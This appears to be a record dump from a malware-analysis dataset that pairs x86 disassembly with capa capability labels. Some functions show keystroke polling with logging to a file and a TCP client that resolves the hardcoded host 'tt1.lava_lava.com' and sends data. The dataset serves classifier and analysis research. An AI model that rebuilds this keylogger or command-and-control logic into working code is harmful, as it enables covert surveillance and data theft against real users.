joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c70
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
lea eax, [esi + 0x20]
mov dword [eax], ecx
xor ecx, ecx
push ecx
push esi
mov dword [esp + 8], ecx
mov dword [esi], ecx
mov dword [esi + 4], ecx
lea ecx, [esp + 8]
push ecx
mov dword [esi + 0x24], edx
lea edx, [esp + 0x10]
push edx
push 1
push eax
mov eax, dword [esi + 0x14]
push eax
mov dword [esp + 0x20], 1
mov dword [esi + 0x18], 0x3e5
mov byte [esi + 0x1c], 7
call dword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x401cbf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x18], eax
xor eax, eax
cmp dword [esi + 0x18], 0x3e5
sete al
add esp, 8
ret

Function at 0x401cd0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
xor eax, eax
push eax
push esi
push eax
push eax
mov dword [esp + 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x20]
mov ecx, 1
lea edx, [esp + 0x18]
push edx
push ecx
mov dword [esp + 0x20], ecx
mov byte [esi + 0x1c], cl
mov ecx, dword [esi + 0x14]
push eax
push ecx
mov dword [esi + 0x18], 0x3e5
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
test eax, eax
je 0x401d1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x18], eax
xor eax, eax
cmp dword [esi + 0x18], 0x3e5
sete al
add esp, 8
ret 4

Function at 0x401d30
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
xor eax, eax
push eax
push esi
mov dword [esp + 8], eax
mov dword [esi], eax
mov dword [esi + 4], eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi + 0x14]
lea ecx, [esp + 0x10]
push ecx
push 1
push edx
push eax
mov dword [esp + 0x20], 1
mov dword [esi + 0x18], 0x3e5
mov byte [esi + 0x1c], 7
call dword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x401d77
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x18], eax
xor eax, eax
cmp dword [esi + 0x18], 0x3e5
sete al
add esp, 8
ret
Function at 0x401dc0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x10
mov eax, dword [0x418ee0]
push ebx
lea ebx, [edi + 0x24]
mov dword [ebx], eax
movzx ecx, word [0x418ee4]
mov ax, word [esp + 0x18]
push ebp
mov dword [edi + 0x28], ecx
mov ecx, dword [esp + 0x20]
push esi
mov esi, ebx
mov word [edi + 0x2c], dx
mov word [edi + 0x2e], ax
mov dword [edi + 0x30], ecx
lea ebp, [edi + 0x20]
call fcn.00401eb0
mov edx, dword [esp + 0x24]
push 0
push edi
push 0
mov dword [ebp], eax
lea eax, [esp + 0x30]
push eax
add edx, 0x14
push 1
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], edx
mov edx, dword [edi + 0x14]
push ecx
mov esi, 0x3e5
push edx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x40], 1
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 0x18], esi
mov byte [edi + 0x1c], 8
call dword [sym.imp.WS2_32.dll_WSASend]
test eax, eax
je 0x401e53
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x18], eax
cmp dword [edi + 0x18], esi
jne 0x401e9e
mov esi, edi
call fcn.004048a0
cmp eax, dword [esp + 0x10]
jne 0x401e9e
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0xf80
call fcn.00401d30
test eax, eax
je 0x401e9e
call fcn.004048a0
cmp eax, 0x14
jl 0x401e9e
mov esi, ebx
call fcn.00401eb0
cmp eax, dword [ebp]
jne 0x401e9e
mov eax, 1
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 8
Function at 0x401eb0
Capabilities:
Hash data using crc32b

Disassembly:
sub esp, 8
movzx eax, byte [esi]
movzx ecx, byte [esi + 1]
movzx edx, byte [esi + 2]
mov byte [esp + 6], cl
movzx ecx, byte [esi + 4]
mov byte [esp + 7], al
movzx eax, byte [esi + 3]
mov byte [esp + 5], dl
movzx edx, byte [esi + 5]
mov byte [esp + 4], al
movzx eax, byte [esi + 6]
mov byte [esp + 3], cl
movzx ecx, byte [esi + 7]
mov byte [esp + 2], dl
mov byte [esp + 1], al
mov eax, dword [esp + 4]
mov byte [esp], cl
mov ecx, dword [esp]
push edi
mov edx, 8
mov edi, edi
test eax, eax
jl 0x401f0c
shld eax, ecx, 1
add ecx, ecx
jmp 0x401f17
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401f23
shld eax, ecx, 1
add ecx, ecx
jmp 0x401f2e
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401f3a
shld eax, ecx, 1
add ecx, ecx
jmp 0x401f45
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401f51
shld eax, ecx, 1
add ecx, ecx
jmp 0x401f5c
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401f68
shld eax, ecx, 1
add ecx, ecx
jmp 0x401f73
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401f7f
shld eax, ecx, 1
add ecx, ecx
jmp 0x401f8a
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401f96
shld eax, ecx, 1
add ecx, ecx
jmp 0x401fa1
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401fad
shld eax, ecx, 1
add ecx, ecx
jmp 0x401fb8
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
movzx edi, byte [edx + esi]
inc edx
or ecx, edi
cmp edx, 0x10
jb 0x401f00
mov edx, 4
lea ecx, [ecx]
test eax, eax
jl 0x401fdc
shld eax, ecx, 1
add ecx, ecx
jmp 0x401fe7
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x401ff3
shld eax, ecx, 1
add ecx, ecx
jmp 0x401ffe
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x40200a
shld eax, ecx, 1
add ecx, ecx
jmp 0x402015
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x402021
shld eax, ecx, 1
add ecx, ecx
jmp 0x40202c
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x402038
shld eax, ecx, 1
add ecx, ecx
jmp 0x402043
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x40204f
shld eax, ecx, 1
add ecx, ecx
jmp 0x40205a
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x402066
shld eax, ecx, 1
add ecx, ecx
jmp 0x402071
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
test eax, eax
jl 0x40207d
shld eax, ecx, 1
add ecx, ecx
jmp 0x402088
shld eax, ecx, 1
add ecx, ecx
xor eax, 0x4c11db7
sub edx, 1
jne 0x401fd0
pop edi
add esp, 8
ret
Function at 0x402590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x60
push ebx
push ebp
mov ebp, dword [esp + 0x6c]
cmp dword [ebp + 0x50], 0xffffffff
push esi
push edi
jne 0x4025ea
push 1
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
lea esi, [esp + 0x18]
mov dword [ebp + 0x50], eax
call fcn.00404810
test eax, eax
je 0x402789
mov ecx, dword [ebp + 0x50]
push 0x10
mov eax, esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x402789
mov dword [ebp + 0x54], eax
cmp dword [ebp + 0x30], eax
je 0x40277f
mov eax, dword [ebp + 0x38]
cmp dword [eax + 4], 0
je 0x4025fa
mov dword [eax + 4], 0
cmp dword [ebp + 0x30], 0
je 0x40277f
lea esi, [esp + 0x28]
mov edi, ebp
call fcn.004024f0
test eax, eax
je 0x402775
mov edx, dword [ebp + 0x38]
mov eax, dword [edx + 4]
xor ecx, ecx
test eax, eax
setne cl
push 0x14
lea edi, [ebp + 0x3c]
mov edx, 8
push ecx
call fcn.00401dc0
test eax, eax
je 0x40277f
cmp dword [ebp + 0x34], 0
je 0x40277f
push 0x418ee0
lea ebx, [esp + 0x1c]
lea eax, [ebp + 0x38]
call fcn.00403f80
lea ebx, [ebp + 0x70]
mov edx, str.CHENZHILOGSERVER
xor esi, esi
mov eax, ebx
sub edx, ebx
mov cl, byte [edx + eax]
mov byte [eax], cl
test cl, cl
je 0x402679
inc esi
inc eax
cmp esi, 0x18
jb 0x402665
mov byte [ebx + 0x17], 0
push 0x11
push 1
mov edx, 1
call fcn.00401dc0
test eax, eax
je 0x40277f
cmp dword [ebp + 0x30], 0
je 0x40277f
cmp word [ebp + 0x6a], 0
je 0x40275c
mov eax, dword [ebp + 0x80]
mov dword [esp + 0x2c], 0x30
mov dword [esp + 0x14], eax
mov dword [esp + 0x74], 0
test eax, eax
jbe 0x40275c
lea esi, [ebp + 0x8a]
cmp word [esi], 0
je 0x402746
xor edx, edx
lea edi, [esi - 6]
push edi
lea ebx, [esp + 0x1c]
lea eax, [ebp + 0x38]
mov word [esi], dx
call fcn.00403f80
test eax, eax
je 0x402746
mov ecx, dword [edi + 4]
mov eax, dword [edi]
mov edx, dword [esi + 2]
mov dword [esp + 0x34], ecx
mov ecx, dword [esi + 0xa]
mov dword [esp + 0x30], eax
mov eax, dword [esi + 6]
mov dword [esp + 0x44], edx
mov edx, dword [esi + 0xe]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x48], eax
mov eax, dword [esi + 0x12]
lea ecx, [esp + 0x28]
mov dword [esp + 0x50], edx
mov edx, dword [ebp + 0x28]
push ecx
mov dword [esp + 0x58], eax
call edx
mov eax, dword [ebp + 0x30]
add esp, 4
test eax, eax
je 0x40275c
movzx ecx, word [esp + 0x34]
mov edx, dword [esp + 0x30]
push ecx
push edx
push 0x441
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [esp + 0x74]
inc eax
add esi, 0x1c
mov dword [esp + 0x74], eax
cmp eax, dword [esp + 0x14]
jb 0x4026cc
xor esi, esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 0x30], 0
je 0x40277f
inc esi
cmp esi, 0xa
jl 0x40275e
cmp dword [ebp + 0x30], 0
jne 0x402604
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x60
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov dword [ebp + 0x54], eax
pop ebp
pop ebx
add esp, 0x60
ret 4
Function at 0x403970
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
add eax, 0xffffffdf
push esi
mov ebx, ecx
mov esi, edx
cmp eax, 0x32
ja case.default.0x40398a
movzx eax, byte [eax + 0x403a7c]
push edi
jmp dword [eax*4 + 0x403a54]
lea edi, [esi + 0x20]
xor eax, eax
xor ecx, ecx
call fcn.00404040
pop edi
pop esi
pop ebx
ret
mov eax, 1
lea edi, [esi + 0x20]
mov ecx, eax
call fcn.00404040
pop edi
pop esi
pop ebx
ret
xor eax, eax
xor ecx, ecx
lea edi, [esi + 0x40]
call fcn.00404160
pop edi
pop esi
pop ebx
ret
mov eax, 1
mov ecx, eax
lea edi, [esi + 0x40]
call fcn.00404160
pop edi
pop esi
pop ebx
ret
mov eax, 2
mov ecx, eax
lea edi, [esi + 0x40]
call fcn.00404160
pop edi
pop esi
pop ebx
ret
mov eax, 3
mov ecx, eax
lea edi, [esi + 0x40]
call fcn.00404160
pop edi
pop esi
pop ebx
ret
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
mov eax, 6
jmp 0x403a1f
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
mov eax, 7
mov ecx, eax
jge 0x403a2f
lea edi, [esi + 0x40]
call fcn.00404160
pop edi
pop esi
pop ebx
ret
lea edi, [esi + 0x20]
call fcn.00404040
pop edi
pop esi
pop ebx
ret
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge case.0x40398a.42
mov eax, dword [esi + 0xc]
call fcn.00403b60
pop edi
pop esi
pop ebx
ret

Function at 0x403b60
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403c51
mov ecx, dword [esi + 0x10]
push edi
mov dword [esp + 8], 0
mov edi, dword [ecx + 4]
mov eax, 1
mov dword [esp + 0xc], eax
cmp edi, eax
jbe 0x403bc2
mov cl, 0xd
mov edx, dword [esi + 0x10]
mov eax, dword [edx + eax*4 + 8]
mov edx, dword [esi + 0x14]
mov dword [esp + 8], eax
mov byte [edx + eax - 2], cl
mov eax, dword [esp + 0xc]
inc eax
mov dword [esp + 0xc], eax
cmp eax, edi
jb 0x403ba3
mov ecx, dword [esi + 0x14]
mov eax, dword [esp + 8]
add eax, ecx
push ebp
lea ebp, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403bd0
sub eax, ebp
add dword [esp + 0xc], eax
mov ecx, dword [ecx]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
and ecx, 0xffffff
cmp ecx, 0xbfbbef
je 0x403c04
push 0
lea edx, [esp + 0x14]
push edx
push 3
push 0x415484
push ebx
call ebp
mov ecx, dword [esp + 0xc]
mov edx, dword [esi + 0x14]
push 0
lea eax, [esp + 0x10]
push eax
push ecx
push edx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov dword [esp + 0x10], eax
pop ebp
cmp edi, eax
jbe 0x403c50
lea esp, [esp]
mov ecx, dword [esi + 0x10]
mov eax, dword [ecx + eax*4 + 8]
mov edx, dword [esi + 0x14]
mov dword [esp + 8], eax
mov byte [edx + eax - 2], 0
mov eax, dword [esp + 0xc]
inc eax
mov dword [esp + 0xc], eax
cmp eax, edi
jb 0x403c30
pop edi
pop ebx
add esp, 8
ret
Function at 0x404810
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x2c
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0x415278
push str.tt1.lava_lava.com
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 2
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x404894
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x404894
mov eax, dword [ecx + 0x18]
mov edx, dword [eax]
mov dword [esi], edx
mov edx, dword [eax + 4]
mov dword [esi + 4], edx
mov edx, dword [eax + 8]
mov dword [esi + 8], edx
mov eax, dword [eax + 0xc]
push ecx
mov dword [esi + 0xc], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, 1
add esp, 0x2c
ret
xor eax, eax
add esp, 0x2c
ret

Function at 0x40490f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417044]
jne 0x404919
repz ret
jmp fcn.00405bd5

Function at 0x40bffd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004071bc
and dword [ebp - 4], 0
cmp dword [0x418b50], 0
mov ebx, eax
jne 0x40c0ae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c15f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40c15f
push eax
call fcn.0040714a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418b50], eax
call esi
push eax
call fcn.0040714a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418b54], eax
call esi
push eax
call fcn.0040714a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x418b58], eax
call esi
push eax
call fcn.0040714a
pop ecx
mov dword [0x418b60], eax
test eax, eax
je 0x40c0ae
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040714a
pop ecx
mov dword [0x418b5c], eax
mov eax, dword [0x418b5c]
cmp eax, ebx
je 0x40c106
cmp dword [0x418b60], ebx
je 0x40c106
push eax
call fcn.004071c5
push dword [0x418b60]
mov esi, eax
call fcn.004071c5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c106
test edi, edi
je 0x40c106
call esi
test eax, eax
je 0x40c0fd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c0fd
test byte [ebp - 0xc], 1
jne 0x40c106
or dword [ebp + 0x10], 0x200000
jmp 0x40c13f
mov eax, dword [0x418b54]
cmp eax, ebx
je 0x40c13f
push eax
call fcn.004071c5
pop ecx
test eax, eax
je 0x40c13f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c13f
mov eax, dword [0x418b58]
cmp eax, ebx
je 0x40c13f
push eax
call fcn.004071c5
pop ecx
test eax, eax
je 0x40c13f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b50]
call fcn.004071c5
pop ecx
test eax, eax
je 0x40c15f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c161
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000eb13
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000eb52
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000eb52
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000eb52
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000eb52
cmp dword [ecx + 0x74], 0xe
jbe 0x1000eb52
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100117cf
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001186c
push ebx
push esi
call fcn.10011798
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001172c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10011819
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001186b
push edi
push eax
call fcn.1001278a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10011839
call fcn.10010274
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001186a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001172c
add esp, 0x20
test eax, eax
jne 0x10011858
push edi
call fcn.10010274
jmp 0x10011860
push ebx
call fcn.10010274
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10011ad9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019888
push 0x10019880
push str.FlsAlloc
push 0x1f
call fcn.100119f5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011b0d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
jmp 0x10011b13
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011b57
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019898
push 0x10019890
push str.FlsGetValue
push 0x21
call fcn.100119f5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011b8e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10011b96
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100198a0
push 0x10019898
push str.FlsSetValue
push 0x22
call fcn.100119f5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011bd0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017260
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001728d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001728d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401764
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4017a3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4017a3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4017a3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4017a3
cmp dword [ecx + 0x74], 0xe
jbe 0x4017a3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4044b5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004042de
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x404624
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x404624
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4045d9
jg 0x404511
test eax, eax
je 0x4045cf
push 1
push 0x1000
call fcn.0040ae96
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x404534
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4045c6
push 0x8000
push ebx
call fcn.0040a131
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x40455d
jg 0x404558
cmp ecx, 0x1000
jb 0x40455d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00408a84
add esp, 0x10
cmp eax, 0xffffffff
je 0x4045a2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x404558
jl 0x404589
test ecx, ecx
jne 0x40454a
push dword [ebp - 0xc]
push ebx
call fcn.0040a131
push esi
call fcn.0040aef3
add esp, 0xc
xor ebx, ebx
jmp 0x404632
cmp byte [edi + 0x24], 0
je 0x4045b9
cmp dword [edi + 0x20], 5
jne 0x4045b9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4045c4
mov ebx, dword [edi + 0x18]
jmp 0x4045c6
xor ebx, ebx
push esi
call fcn.0040aef3
pop ecx
jmp 0x404632
test ecx, ecx
jg 0x40459b
jl 0x4045d9
test eax, eax
jae 0x40459b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040486b
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4045f9
cmp byte [edi + 0x1c], 0
je 0x40459b
jmp 0x40462a
push ebx
call fcn.0040ae2c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40459b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x404632
cmp byte [edi + 0x1c], 0
je 0x40462f
mov ebx, dword [edi + 0x18]
jmp 0x404632
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0040486b
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404924
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x428f10]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x404964
cmp byte [ebx], 0xa
jne 0x404964
or byte [edi + eax + 0x28], 4
jmp 0x404969
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x404a68
mov dl, byte [eax]
cmp dl, 0x1a
je 0x404a4b
inc eax
cmp dl, 0xd
je 0x404995
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4049bb
cmp eax, ecx
jae 0x4049c9
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40497d
jmp 0x404a68
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404a46
cmp dword [ebp - 0x10], 0
je 0x404a46
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x428f10]
test byte [eax + edi + 0x28], 0x48
je 0x404a20
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x404a0b
mov byte [esi], dl
jmp 0x404a1c
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x428f10]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x404a68
cmp byte [ebp - 1], 0xa
jne 0x404a2f
cmp esi, ebx
jne 0x404a2f
mov byte [esi], 0xa
jmp 0x404a67
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040486b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x404a68
mov byte [esi], 0xd
jmp 0x404a67
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x428f10]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x404a65
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x404a68
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret